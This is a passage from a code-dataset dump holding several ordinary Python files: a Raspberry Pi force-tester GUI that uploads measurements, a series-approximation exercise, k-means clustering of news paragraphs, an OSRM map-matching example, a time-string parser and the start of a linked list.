+=1\r\n\t\t\tself.test_efficiency_label.set(str(config.OK_NUM)+'/'+str(config.TEST_NUM))\r\n\t\t\tpayload = {\r\n\t\t\t\t\"types\":self.module.get(),\r\n\t\t\t\t\"number\":temp_sn,\r\n\t\t\t\t\r\n\t\t\t\t\"minPressPower\":self.module_param[\"MIN_PRESS_POWER\"],\r\n\t\t\t\t\"maxPressPower\":self.module_param[\"MAX_PRESS_POWER\"],\r\n\t\t\t\t\"pressPower\":self.power_result[0],\r\n\t\t\t\t\r\n\t\t\t\t\"maxPress\":self.module_param[\"MAX_PRESS\"],\r\n\t\t\t\t\"minPress\":self.module_param[\"MIN_PRESS\"],\r\n\t\t\t\t\"press\":self.strength_result[0],\r\n\t\t\t\t\r\n\t\t\t\t\"maxPressPosition\":self.module_param[\"MAX_PRESS_POSITION\"],\r\n\t\t\t\t\"minPressPosition\":self.module_param[\"MIN_PRESS_POSITION\"],\r\n\t\t\t\t\"pressPosition\":self.position_result[0],\r\n\t\t\t\t\r\n\t\t\t\t\"maxPressStroke\":self.module_param[\"MAX_PRESS_STROKE\"],\r\n\t\t\t\t\"minPressStroke\":self.module_param[\"MIN_PRESS_STROKE\"],\r\n\t\t\t\t\"pressStroke\":round(self.position_result[1]-self.position_result[0],2),\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\"minBackPower\":self.module_param[\"MIN_BACK_POWER\"],\r\n\t\t\t\t\"maxBackPower\":self.module_param[\"MAX_BACK_POWER\"],\r\n\t\t\t\t\"backPower\":self.power_result[1],\r\n\t\t\t\t\r\n\t\t\t\t\"maxBack\":self.module_param[\"MAX_BACK\"],\r\n\t\t\t\t\"minBcak\":self.module_param[\"MIN_BACK\"],\r\n\t\t\t\t\"back\":self.strength_result[1],\r\n\t\t\t\t\r\n\t\t\t\t\"maxBackPosition\":self.module_param[\"MAX_BACK_POSITION\"],\r\n\t\t\t\t\"minBackPosition\":self.module_param[\"MIN_BACK_POSITION\"],\r\n\t\t\t\t\"backPosition\":self.position_result[1],\r\n\t\t\t\t\r\n\t\t\t\t\"maxBackStroke\":self.module_param[\"MAX_BACK_STROKE\"],\r\n\t\t\t\t\"minBackStroke\":self.module_param[\"MIN_BACK_STROKE\"],\r\n\t\t\t\t\"backStroke\":round(self.position_result[2]-self.position_result[3],2),\r\n\t\t\t\t\r\n\t\t\t\t\"testTool\":config.hostname\r\n\t\t\t}\r\n\t\t\tself.data_list.append(payload)\r\n\t\t\t\r\n\t\t\tself.data_is_ok=0\r\n\t\t\t#每100个提示核对数量和校准砝码\r\n\t\t\tif config.OK_NUM %100 ==0:\r\n\t\t\t\tshowinfo(message=\"确认标定位置,并核对测试ok的数量是否为\"+config.OK_NUM)\r\n\t\telse:\r\n\t\t\tself.set_status_bar(\"上传的数据不合格,重新测试后上传\",\"error\")\r\n\t\r\n\t# 上传数据\r\n\tdef upload_data(self):\r\n\t\twhile 1:\r\n\t\t\tif len(self.data_list)==0:\r\n\t\t\t\ttime.sleep(0.3)\r\n\r\n\t\t\tif len(self.data_list):\r\n\t\t\t\tpayload=self.data_list[-1]\r\n\t\t\t\tprint( \"上传一次\")\r\n\t\t\t\ttry:\r\n\t\t\t\t\tr = requests.post(config.URL+'/upload', json=payload,timeout=2)\r\n\t\t\t\t\tif r.status_code==200:\r\n\t\t\t\t\t\tself.set_status_bar(payload[\"number\"]+\"数据上传成功\",\"success\")\r\n\t\t\t\t\t\tself.data_list.pop()\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tself.set_status_bar(payload[\"number\"]+\"上传失败,网络错误\",\"error\")\r\n\t\t\t\texcept requests.exceptions.ConnectTimeout:\r\n\t\t\t\t\tself.set_status_bar(payload[\"number\"]+\"上传失败,网络错误\",\"error\")\r\n\r\n\t###################################################################\r\n\t# 力度与发电量数据处理部分\r\n\t###################################################################\r\n\r\n\tdef getPressData(self):\r\n\r\n\t\tconfig.TEST_NUM += 1\r\n\t\tself.test_efficiency_label.set(str(config.OK_NUM)+'/'+str(config.TEST_NUM))\r\n\t\tself.press_data=[]\r\n\t\tself.power_data=[]\r\n\t\toverloadFlag=[]\r\n\t\ttimes = self.module_param[\"steps\"]\r\n\t\tfor item in self.module_param[\"trace\"]:\r\n\t\t\t#print \"trace\",int(round(item*times))\r\n\t\t\tif self.module_param[\"trace\"][item] == \"test\":\r\n\t\t\t\tfor i in range(0,int(abs(round(item*times))),config.INTERVAL):\r\n\t\t\t\t\tfor j in range(0,config.INTERVAL,1):\r\n\t\t\t\t\t\tself.tb6600.oneStep(self.direction+((item > 0 and 1 or 0)))\r\n\t\t\t\t\t\tself.press_data.append(0)\r\n\t\t\t\t\t\tself.power_data.append(0)\r\n\t\t\t\t\tpressAfterStep =self.hx711.getWeight()\r\n\t\t\t\t\tpowerAfterStep =self.ad7705.power()\r\n\t\t\t\t\t#压力传感器过载保护\r\n\t\t\t\t\tif pressAfterStep > self.module_param[\"overload\"] or pressAfterStep < -self.module_param[\"overload\"]:\r\n\t\t\t\t\t\toverloadFlag.append(i)\r\n\t\t\t\t\t\tif len(overloadFlag)>3:\r\n\t\t\t\t\t\t\tif overloadFlag[2]-overloadFlag[1]==config.INTERVAL and overloadFlag[1]-overloadFlag[0]==config.INTERVAL:\r\n\t\t\t\t\t\t\t\tself.set_status_bar(\"测力传感器过载,调整位置重新开始\",\"error\")\r\n\t\t\t\t\t\t\t\tself.test_stop()\r\n\t\t\t\t\t\t\t\treturn \r\n\t\t\t\t\tself.press_data[-1] = pressAfterStep\r\n\t\t\t\t\tself.power_data[-1] = powerAfterStep\r\n\t\t\telif self.module_param[\"trace\"][item] == \"move\":\r\n\t\t\t\tfor i in range(0,int(abs(item*times)),1):\r\n\t\t\t\t\tself.tb6600.oneStep(self.direction+((item > 0 and 1 or 0)))\r\n\t\t\t\t\tself.press_data.append(0)\r\n\t\t\t\t\tself.power_data.append(0)\r\n\t\tself.data_is_ok=1\r\n\t\tself.update_UI()\r\n\t\t\r\n\t\r\n\tdef get_max_power(self,power_data):\r\n\t\tprint(len(power_data))\r\n\t\tresult=[0,0]\r\n\t\tlength=len(power_data)\r\n\t\t\r\n\t\tresult[0]=max(map(abs,power_data[1:int(length/2)]))\r\n\t\tresult[1]=max(map(abs,power_data[int(length/2):length]))\r\n\t\treturn result\r\n\t\r\n\t# 计算动作点\r\n\tdef get_points(self,press_data):\r\n\t\t\r\n\t\tlength= len(press_data)\r\n\t\tstrength_result =[0,0]\r\n\t\tposition_result=[0,0,0,0]\r\n\t\tposition_num=[0,0,0,0]\r\n\t\tSTEP_DISTANCE = config.STEP_DISTANCE\r\n\t\tSENSOR_DISTANCE = config.SENSOR_DISTANCE\r\n\t\t#过滤无效点\r\n\t\t#1.异常跳到的点,过大或者,影响提取按压点、\r\n\t\tfor i in range(length):\r\n\t\t\tif press_data[i]<self.module_param[\"invalidMin\"] or press_data[i]>self.module_param[\"invalidMax\"]:\r\n\t\t\t\tpress_data[i]=0\r\n\t\t\r\n\t\t# RPM系列,产生发电量的点和动作点应该是相近的SENSOR_DISTANCESTEP_DISTANCE\r\n\t\tif self.module.get()[:3]==\"RPM\":\r\n\t\t\tprint( filter(lambda x: x > 0, press_data)) \r\n\t\t\tpress_point=self.power_data[:int(length/2)].index(min(self.power_data[:int(length/2)]))\r\n\t\t\tback_point=self.power_data[int(length/2):].index(min(self.power_data[int(length/2):]))+int(length/2)\r\n\t\t\tprint( press_point,back_point)\t\r\n\t\t\tfor i in range(int(length/2)):\r\n\t\t\t\t\tif press_data[i]>5:\r\n\t\t\t\t\t\tposition_num[0]=i\r\n\t\t\t\t\t\tbreak\r\n\t\t\tstrength_result[0]=max(press_data[press_point-100:press_point+100]) #下按力度\r\n\t\t\tposition_num[1]=press_data.index(strength_result[0])#下按动作点\r\n\t\t\t\r\n\t\t\tfor i in range(int(length/2),length):\r\n\t\t\t\tif press_data[i]<-5:\r\n\t\t\t\t\tposition_num[2]=i #回弹初始点\r\n\t\t\t\t\tbreak\r\n\t\t\t\t\t\r\n\t\t\ta = filter(lambda x: x > 0, press_data[back_point-200:back_point+200]) \r\n\t\t\tstrength_result[1]=min(a) #回弹力度\r\n\t\t\tposition_num[3]=press_data.index(strength_result[1])#回弹动作点\r\n\t\t\t# position转为mm\r\n\t\t\tprint(position_num)\r\n\t\t\tposition_result[0]=round(position_num[0]*STEP_DISTANCE,2)\r\n\t\t\tposition_result[1]=round(position_num[1]*STEP_DISTANCE,2)\r\n\t\t\tposition_result[2]=round((2*self.module_param[\"steps\"]-position_num[2])*STEP_DISTANCE+SENSOR_DISTANCE,2)\r\n\t\t\tposition_result[3]=round((2*self.module_param[\"steps\"]-position_num[3])*STEP_DISTANCE+SENSOR_DISTANCE,2)\r\n\t\t\t\r\n\t\t\tprint(strength_result,position_result)\r\n\r\n\t\t# PM系列\r\n\t\telse:\r\n\t\t\tfor i in range(int(length/2)):\r\n\t\t\t\tif press_data[i]>5:\r\n\t\t\t\t\tposition_num[0]=i\r\n\t\t\t\t\tbreak\r\n\t\t\tstrength_result[0]=max(press_data[1:int(length/2)]) #下按力度\r\n\t\t\tposition_num[1]=press_data.index(strength_result[0])#下按动作点\r\n\t\t\t\r\n\t\t\tfor i in range(int(length/2),length):\r\n\t\t\t\tif press_data[i]<-5:\r\n\t\t\t\t\tposition_num[2]=i #回弹初始点\r\n\t\t\t\t\tbreak\r\n\t\t\tstrength_result[1]=min(press_data[int(length/2):]) #回弹力度\r\n\t\t\tposition_num[3]=press_data.index(strength_result[1])#回弹动作点\r\n\t\t\t# position转为mm\r\n\t\t\tprint(position_num)\r\n\t\t\tposition_result[0]=round(position_num[0]*STEP_DISTANCE,2)\r\n\t\t\tposition_result[1]=round(position_num[1]*STEP_DISTANCE,2)\r\n\t\t\tposition_result[2]=round((2*self.module_param[\"steps\"]-position_num[2])*STEP_DISTANCE+SENSOR_DISTANCE,2)\r\n\t\t\tposition_result[3]=round((2*self.module_param[\"steps\"]-position_num[3])*STEP_DISTANCE+SENSOR_DISTANCE,2)\r\n\t\t\tprint(strength_result,position_result)\r\n\t\t\t\r\n\t\treturn strength_result,position_result\r\n\t\t\r\n\t\t\r\n\t###################################################################\r\n\t# 显示和控制部分\r\n\t###########global#######################################################\r\n\tdef update_UI(self):\r\n\t\tself.strength_result,self.position_result = self.get_points(self.press_data)\r\n\t\tself.power_result=self.get_max_power(self.power_data)\r\n\t\t\r\n\t\t# 下压的四组数据\r\n\t\tself.data_show(self.press_power,self.power_result[0],self.press_power_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_PRESS_POWER\"],self.module_param[\"MAX_PRESS_POWER\"])\r\n\t\tself.data_show(self.press_strength,self.strength_result[0],self.press_strength_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_PRESS\"],self.module_param[\"MAX_PRESS\"])\r\n\t\tself.data_show(self.press_positions,self.position_result[0],self.press_position_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_PRESS_POSITION\"],self.module_param[\"MAX_PRESS_POSITION\"])\r\n\t\tstroke=round(self.position_result[1]-self.position_result[0],2)\r\n\t\tself.data_show(self.press_stroke,stroke,self.press_stroke_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_PRESS_STROKE\"],self.module_param[\"MAX_PRESS_STROKE\"])\r\n\r\n\t\t# 回弹的���组数据\r\n\t\tself.data_show(self.back_power,self.power_result[1],self.back_power_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_BACK_POWER\"],self.module_param[\"MAX_BACK_POWER\"])\r\n\t\tself.data_show(self.back_strength,self.strength_result[1],self.back_strength_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_BACK\"],self.module_param[\"MAX_BACK\"])\r\n\t\tself.data_show(self.back_positions,self.position_result[2],self.back_position_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_BACK_POSITION\"],self.module_param[\"MAX_BACK_POSITION\"])\r\n\t\tstroke=round(self.position_result[2]-self.position_result[3],2)\r\n\t\tself.data_show(self.back_stroke,stroke,self.back_stroke_text,\r\n\t\t\t\t\t\tself.module_param[\"MIN_BACK_STROKE\"],self.module_param[\"MAX_BACK_STROKE\"])\r\n\t\tif self.data_is_ok:\r\n\t\t\tself.set_status_bar(\"测试合格\",\"success\")\r\n\t\telse:\r\n\t\t\tself.set_status_bar(\"测试不合格,调整后重新测试\",\"lowinfo\")\r\n\t\t\t\r\n\t\t\t\r\n\t\t#两列显示测得的数据\r\n\tdef data_show(self, data, item, text, minValue=1.0,maxValue=500.0):\r\n\t\t'''\r\n\t\tparam:\r\n\t\t\tdata:历史数据,list\r\n\t\t\titem:要增加的数据\r\n\t\t\ttext:操作的tk控件text\r\n\t\t\tminValue:item的最小值\r\n\t\t\tmaxValue:item的最大值\r\n\t\t'''\r\n\t\tif len(data) < 4:\r\n\t\t\tdata.append(item)\r\n\t\telse:\r\n\t\t\tdata.pop(0)\r\n\t\t\tdata.append(item)\r\n\t\ttext.tag_configure('right',foreground=\"Blue\",font=('Verdane',40,'bold'))\r\n\t\ttext.tag_configure('error',foreground=\"Red\",font=('Verdane',40,'bold'))\r\n\t\ttext.tag_configure('standard',foreground=\"LightYellow\",font=('Verdane',20))\r\n\t\ttext.delete(1.0, tk.END) #清空text\r\n\t\ttext.insert(1.0,data[0:-1]) #第一行增加历史记录\r\n\t\ttext.insert(tk.END,\"\\n\")\r\n\t\t# 第二行增加当前值\r\n\t\tif data[-1] >= minValue and data[-1] <= maxValue:\r\n\t\t\ttext.insert(2.0,data[-1],'right')\r\n\t\telse:\r\n\t\t\tself.data_is_ok=0\r\n\t\t\ttext.insert(2.0,data[-1],'error')\r\n\t\ttext.insert(tk.END,\"\\n\")\r\n\t\t# 第三行显示标准值\r\n\t\ttext.insert(3.0,'['+str(minValue)+','+str(maxValue)+']','standard')\r\n\t\r\n\t#设置状态栏信息\r\n\tdef set_status_bar(self,content,type):\r\n\t\tself.state.set(content)\r\n\t\tif type==\"info\":\r\n\t\t\tself.stateLabel['fg']='grey'\r\n\t\tif type==\"error\":\r\n\t\t\tself.stateLabel['fg']='red'\r\n\t\tif type==\"success\":\r\n\t\t\tself.stateLabel['fg']='green'\r\n\t\tif type==\"lowinfo\":\r\n\t\t\tself.stateLabel['fg']='black'\r\n\t\t\t\r\n\t# 标定测力传感器的位置,必须在test_start状态\r\n\tdef calibrate_position(self,direction):\r\n\t\ttimes = self.module_param[\"calibration\"]\r\n\t\tif times<0:\r\n\t\t\tdirection= not direction\r\n\t\tfor i in range(abs(times)):\r\n\t\t\tself.tb6600.oneStep(direction)\r\n\r\n\tdef calibrate_button_press(self):\r\n\t\tif self.calibrate_button[\"bg\"]==\"green\":\r\n\t\t\tself.calibrate_button[\"bg\"]=\"grey\"\r\n\t\t\tself.calibrate_position(1)\r\n\t\t\tself.calibrate_button_value.set(\"确认标定位置\")\r\n\t\telse:\r\n\t\t\tself.calibrate_button[\"bg\"]=\"green\"\r\n\t\t\tself.calibrate_position(0)\r\n\t\t\tself.calibrate_button_value.set(\"回到标定位置\")\r\n\r\n\tdef test_start(self):\r\n\t\t#开始测试\r\n\t\tself.is_get_press = False\r\n\t\tself.start_button_value.set(\"力度校准\")\r\n\t\tself.set_status_bar(\"准备就绪\",\"lowinfo\")\r\n\t\tGPIO.output(config.ENA,GPIO.HIGH)\r\n\t\tself.scan_read = threading.Thread(target=self.get_scan_data)\r\n\t\tself.scan_read.setDaemon(False)\r\n\t\tself.scan_read.start()\r\n\t\t\r\n\t\tself.upload_thread = threading.Thread(target=self.upload_data)\r\n\t\tself.upload_thread.setDaemon(False)\r\n\t\r\n\t#获取当前的力度值\r\n\tdef get_current_press(self):\r\n\t\twhile 1:\r\n\t\t\tif self.is_get_press==0:\r\n\t\t\t\tbreak\r\n\t\t\ttime.sleep(0.2)\r\n\t\t\tif self.is_get_press==0:\r\n\t\t\t\tbreak\r\n\t\t\tself.start_button_value.set(str(self.hx711.getWeight()))\r\n\t\t\tif self.is_get_press==0:\r\n\t\t\t\tbreak\r\n\r\n\t#停止测试,进行调试和校正\r\n\tdef test_stop(self):\r\n\t\tGPIO.output(config.ENA,GPIO.LOW)\r\n\t\tself.is_get_press = True\r\n\t\tpress_thread = threading.Thread(target=self.get_current_press)\r\n\t\tpress_thread.setDaemon(False)\r\n\t\tpress_thread.start()\r\n\t\t\r\n\tdef start_button_press(self):\r\n\t\tif self.start_button[\"bg\"]==\"green\":\r\n\t\t\tself.start_button[\"bg\"]=\"grey\"\r\n\t\t\tself.test_stop()\r\n\t\telse:\r\n\t\t\tself.start_button[\"bg\"]=\"green\"\r\n\t\t\tself.test_start()\r\n\r\nif __name__ == '__main__':\r\n\timport RPi.GPIO as GPIO\r\n\tGPIO.setmode(GPIO.BOARD)\r\n\tGPIO.setwarnings(False)\r\n\troot=tk.Tk()\r\n\troot.option_add('*background','#3CB371')\r\n\r\n\t#屏幕亮度调节pac\r\n\t#s.system('sudo bash -c \\\"echo 50 > /sys/class/backlight/rpi_backlight/brightness\\\"')\r\n\r\n\troot.geometry('800x480') #官方7寸显示屏大小\r\n\troot.wm_title(\"领普力度测试软件V0.7.1\")\r\n\t# 修改默认字体大小\r\n\timport tkinter.font #tkFont\r\n\tdefault_font = tkinter.font.nametofont(\"TkDefaultFont\")\r\n\tdefault_font.configure(size=15)\r\n\troot.option_add(\"*Font\", default_font)\r\n\r\n\tcontainer = tk.Frame(root)\r\n\ttester = TestPage(root,container)\r\n\ttester.grid(row=0, column=0, sticky=\"nsew\")\r\n\ttester.test_start()\r\n\t\r\n\t#[x]关闭窗口\r\n\tdef close_window():\r\n\t\troot.destroy()\r\n\troot.protocol('WM_DELETE_WINDOW', close_window)\r\n\troot.mainloop()\r\n","sub_path":"TestPage.py","file_name":"TestPage.py","file_ext":"py","file_size_in_byte":19910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"33995455","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 15 17:46:52 2018\n\n@author: Thiemo\n\"\"\"\n\n\"\"\"\n sum((z^k)/k!)\n \n if k = 0 => terminate\n \n recursion:\n z^k/fact(k) + sum(z^(k-1))/fact(k-1))\n\"\"\"\n\ndef fact(k):\n if k <= 1:\n return 1\n else:\n return k * fact(k - 1)\n\ndef approx_e(z,k):\n if k == 0: \n return 1\n else:\n return ((z**k)/fact(k)) + approx_e(z, k-1)\n \nz = int(input(\"Please enter an integer: \"))\nk = 1000\n\napprox = approx_e(z,k)\nprint(\"e ^ \" + str(z) + \" approximiert \" + str(approx))\n\n\"\"\"\n verschachtelte rekursion: O(n²)\n Speicher: 2 übergebene Variablen = konstant = O(l)\n\"\"\"","sub_path":"WS 17-18/EidPI/Aufgabenzettel 9/Aufg1.py","file_name":"Aufg1.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"568212249","text":"import numpy as np\nimport pandas as pd\nimport sys\nimport re\nimport string\nimport random\nimport json\nimport os\nfrom collections import Counter\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\n\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer, TfidfTransformer\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import cross_validate, train_test_split, KFold\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import MDS\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.externals import joblib\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import TruncatedSVD\n\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom nltk import pos_tag\n\nstemmer = SnowballStemmer(\"english\")\nlemmatizer = nltk.stem.WordNetLemmatizer()\n\nd = pd.read_json('NewYorkTimesClean.jsonl', lines=True)\ndff = pd.DataFrame(data=d, columns=['headline', 'keywords', 'lead_paragraph', 'section'])\ndf = dff.sample(frac=0.2, replace=True)\ndf = df.fillna('nullval')\ndf = df[~df.lead_paragraph.str.contains('nullval')]\ndf = df[~df.index.duplicated()]\n\n# Clean up data.\nregex1 = re.compile('[%s]' % re.escape(string.punctuation))\nstop = stopwords.words('english')\ndf['section'] = df.section.apply(lambda x : str.lower(x))\ndf['section'] = df.section.apply(lambda x : re.sub(r'[^\\w\\s]+', '', x))\ndf['lead_paragraph'] = df.lead_paragraph.fillna('nullval').apply(lambda x : str.lower(x))\ndf['lead_paragraph'] = df.lead_paragraph.apply(lambda x : re.sub(r'[^\\w\\s]+', '', x))\ndf['lead_paragraph'] = df.lead_paragraph.apply(lambda x : re.sub(r'\\b\\d+(?:\\.\\d+)?\\s+', '', x))\ndf['lead_paragraph'] = df.lead_paragraph.apply(lambda x : re.sub(\"[^a-zA-Z]\", \" \", str(x)))\n\ndef tokenize_and_stem(text):\n tokens = [word for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent)]\n filtered_tokens = []\n for token in tokens:\n if re.search('[a-zA-Z]', token):\n filtered_tokens.append(token)\n stems = [stemmer.stem(t) for t in filtered_tokens]\n return stems\n\ndef tokenize_only(text):\n tokens = [word.lower() for sent in nltk.sent_tokenize(text) for word in nltk.word_tokenize(sent)]\n filtered_tokens = []\n for token in tokens:\n if re.search('[a-zA-Z]', token):\n filtered_tokens.append(token)\n return filtered_tokens\n\ntotalvocab_stemmed = []\ntotalvocab_tokenized = []\nfor i in df['lead_paragraph']:\n allwords_stemmed = tokenize_and_stem(i)\n totalvocab_stemmed.extend(allwords_stemmed)\n\n allwords_tokenized = tokenize_only(i)\n totalvocab_tokenized.extend(allwords_tokenized)\n\nvocab_frame = pd.DataFrame({'words': totalvocab_tokenized}, index = totalvocab_stemmed)\n\n# Instantiate parameters for vectorizer\ntfidf_vectorizer = TfidfVectorizer(max_df=0.95, max_features=10000,\n min_df=0.005, stop_words='english',\n use_idf=True, tokenizer=tokenize_and_stem, ngram_range=(1,3))\n\ntfidf_matrix = tfidf_vectorizer.fit_transform(df['lead_paragraph'].values.tolist()) #fit the vectorizer to synopses\nterms = tfidf_vectorizer.get_feature_names()\ndist = 1 - cosine_similarity(tfidf_matrix)\n\n# KMeans\nnum_clusters = 5\nkm = KMeans(n_clusters=num_clusters)\nkm.fit(tfidf_matrix)\nclusters = km.labels_.tolist()\n\n# Dump into pickle file\njoblib.dump(km, 'kmeans-cluster.pkl')\nkm = joblib.load('kmeans-cluster.pkl')\n\nclusters = km.labels_.tolist()\nsection_list = df['section'].values.tolist()\nsection_cat = { 'section': section_list, 'main_paragraph': df['lead_paragraph'], 'cluster': clusters}\nframe = pd.DataFrame(section_cat, index = [clusters] , columns = ['section', 'main_paragraph', 'cluster'])\n\nprint(\"Top terms per cluster:\\n\")\n# Sort the centers of clusters by proximity to centroid\norder_centroids = km.cluster_centers_.argsort()[:, ::-1]\n\nfor i in range(num_clusters):\n print(\"Cluster %d words:\" % i, end='')\n # replace 6 with n words per cluster\n for ind in order_centroids[i, :6]:\n print(' %s' % vocab_frame.loc[terms[ind].split(' ')].values.tolist()[0][0], end=',')\n print('\\n')\n\n print(\"Cluster %d section:\" % i, end='')\n for section in frame.loc[i]['section'].values.tolist():\n print(' %s,' % section, end='')\n print('\\n')\n\nprint('\\n')\n\n# Visualization\ntfidf_matrix_reduced = TruncatedSVD(n_components=num_clusters, random_state=0).fit_transform(tfidf_matrix)\ntfidf_matrix_embedded = TSNE(n_components=2, perplexity=40, verbose=2).fit_transform(tfidf_matrix_reduced)\n\nfig = plt.figure(figsize = (10, 10))\nax = plt.axes()\n\nxs, ys = tfidf_matrix_embedded[:, 0], tfidf_matrix_embedded[:, 1]\ndfd = pd.DataFrame(dict(x=xs, y=ys, label=clusters, title=section_list))\ngroups = dfd.groupby('label')\n\n# Colors per cluster\ncluster_colors = {0: '#1b9e77', 1: '#d95f02', 2: '#7570b3', 3: '#e7298a', 4: '#66a61e'}\n\n# Clusters formed by most frequent terms\ncluster_names = {0: 'Top terms for cluster #0: years, new, time, week, like, president',\n 1: 'Top terms for cluster #1: january, loving, family, beloved, wife, friends',\n 2: 'Top terms for cluster #2: new, york, new, city, york, new',\n 3: 'Top terms for cluster #3: said, states, unit, unit, officials, mr',\n 4: 'Top terms for cluster #4: editor, letter, jan, dec, pages, susan'}\nfor name, group in groups:\n ax.plot(group.x, group.y, marker='.', linestyle='',\n label=cluster_names[name], color=cluster_colors[name],\n mec='none')\n ax.set_aspect('auto')\n ax.tick_params(\\\n axis= 'x',\n which='both',\n bottom='off',\n top='off',\n labelbottom='off')\n ax.tick_params(\\\n axis= 'y',\n which='both',\n left='off',\n top='off',\n labelleft='off')\n\nax.legend(numpoints=1)\nplt.savefig('kmeans_visual.png', dpi=200)\nplt.show()\n","sub_path":"kmeans-nytimes.py","file_name":"kmeans-nytimes.py","file_ext":"py","file_size_in_byte":6041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"233544584","text":"import sys\n\nimport pandas as pd\n\nfrom osrmcpy import OSRM, Coordinate\n\n\n# Example User Code\ndef main():\n if '--help' in sys.argv or '-h' in sys.argv:\n sys.exit('Usage: {} [OSRM data base path]'.format(sys.argv[0]))\n\n print(sys.argv[1])\n osrm = OSRM(sys.argv[1].encode('utf-8') if len(sys.argv) >= 2 else None, True)\n\n # Berlin\n # start = Coordinate(id=None, longitude=13.14117, latitude=52.41445)\n # end = Coordinate(id=None, longitude=13.55747, latitude=52.61437)\n # Ireland\n # start = Coordinate(id=None, longitude=-6.346509195699211, latitude=53.36407603954265)\n\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.072002}, osrm::util::FloatLatitude{40.992023}});\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.071907}, osrm::util::FloatLatitude{40.992329}});\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.072044}, osrm::util::FloatLatitude{40.992508}});\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.072222}, osrm::util::FloatLatitude{40.992565}});\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.072504}, osrm::util::FloatLatitude{40.992546}});\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.073633}, osrm::util::FloatLatitude{40.992191}});\n # params.coordinates.push_back({osrm::util::FloatLongitude{29.074406}, osrm::util::FloatLatitude{40.991718}});\n # end = Coordinate(id=None, longitude=-6.35272995922493, latitude=53.283447477339756)\n coordinates = [\n Coordinate(id=None, longitude=29.072002, latitude=40.992023),\n Coordinate(id=None, longitude=29.071907, latitude=40.992329),\n Coordinate(id=None, longitude=29.072044, latitude=40.992508),\n Coordinate(id=None, longitude=29.072222, latitude=40.992565),\n Coordinate(id=None, longitude=29.072504, latitude=40.992546),\n Coordinate(id=None, longitude=29.073633, latitude=40.992191),\n Coordinate(id=None, longitude=29.074406, latitude=40.991718)\n ]\n\n match = osrm.match(coordinates, [1584203149,\n 1584203159,\n 1584203162,\n 1584203165,\n 1584203169,\n 1584203172,\n 1584203175,\n 1584203179])\n\n if match:\n print(\"matched\")\n # print(route)\n # print('Distance: {0:.0f} meters'.format(route.distance))\n # print('Duration: {0:.0f} seconds'.format(route.duration))\n # print('Geometry: {0}'.format(route.geometry))\n\n # df_geoms = pd.read_csv(csv_path, names=['id', 'distance', 'duration', 'polyline_geom'])\n # print(df_geoms.head(25))\n print(match.nodes)\n print(match.duration)\n print(match.distance)\n\n\n else:\n print('no matched')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"osrmcpy/examples/osrm_python3_match.py","file_name":"osrm_python3_match.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"29782638","text":"from datetime import datetime, timedelta\nimport time\n\n\nclass TimeStringParser(object):\n\n def parse_to_seconds(self, string):\n string = self._normalize_string(string)\n if not string:\n return 0\n patterns = ['%Ss', '%Mm', '%Mm %Ss', '%Hh', '%Hh %Mm', '%Hh %Mm %Ss']\n for pattern in patterns:\n try:\n return self._parse_with_pattern(string, pattern)\n except:\n continue\n raise Exception('Time string did not match any pattern')\n\n def seconds_to_time_string(self, seconds):\n h, remainder = divmod(seconds, 3600)\n m, s = divmod(remainder, 60)\n string = ''\n if h:\n string += str(h) + 'h'\n if m:\n string += ' ' + str(m) + 'm'\n if s:\n string += ' ' + str(s) + 's'\n return string.strip()\n\n def _normalize_string(self, string):\n if string:\n string = string.strip()\n return string if string else None\n\n def _parse_with_pattern(self, string, pattern):\n time_struct = time.strptime(string, pattern)\n timestamp = time.mktime(time_struct)\n date = datetime.fromtimestamp(timestamp)\n delta = timedelta(hours=date.hour, minutes=date.minute, seconds=date.second)\n return delta.total_seconds()\n","sub_path":"chronos/libs/time_string_parser.py","file_name":"time_string_parser.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"204120416","text":"class node(object):\n\t\n\tdef __init__(self, data, next_node = None):\n\t\tself.data = data\n\t\tself.next_node = next_node\n\t\n\tdef get_next(self):\n\t\treturn self.next_node\n\t\n\tdef set_next(self, next_node):\n\t\tself.next_node = next_node\n\t\n\tdef get_data(self):\n\t\treturn self.data\n\t\n\tdef set_data(self,data):\n\t\tself.data = data\n\n\nclass LinkedList(object):\n\t\n\tdef __init__(self, tail = None):\n\t\tself.tail = tail\n\t\tself.size = 0\n\t\n\tdef get_size(self):\n\t\treturn self.size\n\t\n\tdef add(self, data):\n\t\tnew_node = node(data,self.tail)\n\t\tself.tail = new_node\n\t\tself.size += 